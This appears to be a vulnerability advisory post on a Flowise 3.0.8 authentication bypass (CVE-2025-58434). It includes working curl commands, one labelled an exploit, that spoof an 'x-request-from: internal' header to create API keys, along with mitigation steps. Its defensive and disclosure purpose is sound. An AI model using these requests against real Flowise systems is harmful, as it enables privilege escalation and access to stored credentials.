Flowise, Authentication Bypass, CVE-2025-58434 (High)

By /

Listen to this Post

The vulnerability resides in the global middleware for `/api/v1` routes in `packages/server/src/index.ts:214` . The logic incorrectly trusts the `x-request-from: internal` header. If this header is present, the middleware calls `verifyToken` and proceeds to `next()` without performing any additional authorization checks . Since `verifyToken` only checks for a valid user session (cookie), any authenticated low-privilege tenant can spoof this header. This action bypasses all subsequent permission checks, granting the tenant access to internal administration endpoints they should not be able to reach, such as API key management and credential stores .
Platform: Flowise
Version: 3.0.8
Vulnerability : Auth Bypass
Severity: High
date: March 6, 2026

Prediction: Patch by April 2026

What Undercode Say:

Analytics:

To check if your Flowise 3.0.8 instance is vulnerable to this header-based bypass, you can use the following `curl` commands. First, authenticate and save your session cookie. Then, attempt to access a privileged endpoint like API key creation with and without the malicious header.

1. Log in and save cookies to a file (adjust login endpoint/credentials)
curl -X POST http://127.0.0.1:3100/api/v1/auth/login \
-H 'Content-Type: application/json' \
-d '{"email":"[email protected]", "password":"userpass"}' \
-c flowise_cookies.txt
2. Attempt to create an API key WITHOUT the 'internal' header (should fail)
curl -X POST http://127.0.0.1:3100/api/v1/apikey \
-H 'Content-Type: application/json' \
-b flowise_cookies.txt \
-d '{"keyName":"TestKey"}'
3. Attempt the same request WITH the spoofed header (should succeed if vulnerable)
curl -X POST http://127.0.0.1:3100/api/v1/apikey \
-H 'Content-Type: application/json' \
-H 'x-request-from: internal' \
-b flowise_cookies.txt \
-d '{"keyName":"ExploitKey"}'

Exploit:

The exploit is trivial to execute once a valid user session is obtained, requiring only the addition of an HTTP header to elevate privileges .

This command creates new administrative credentials by exploiting the bypass
curl -X POST http://127.0.0.1:3100/api/v1/apikey \
-H 'x-request-from: internal' \
-H 'Content-Type: application/json' \
-b "connect.sid=s%3A_YOUR_VALID_SESSION_ID" \
-d '{"keyName":"PwnedKey"}'

Protection from this CVE

  1. Immediate Patching: Upgrade Flowise to a patched version that removes trust in the `x-request-from` header for authorization decisions .
  2. Web Application Firewall (WAF): Deploy a WAF rule to block or strip the `x-request-from: internal` header from external requests, as it should only originate from internal service calls.
  3. Code Hotfix: As a temporary measure, modify the middleware logic in `index.ts:214` to remove the branch that bypasses authorization based on this header, enforcing consistent checks for all `/api/v1` endpoints.

Impact

This vulnerability allows any authenticated user to perform privilege escalation. A low-privilege tenant can create new API keys, access stored credentials, and interact with internal tools . When chained with other vulnerabilities like arbitrary file write (e.g., CVE-2025-61913) or command injection, this initial bypass can lead to full remote code execution (RCE) and complete system compromise .

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Previous

Flowise, Arbitrary File Upload, CVE-2024-XXXX (High)

Scroll to Top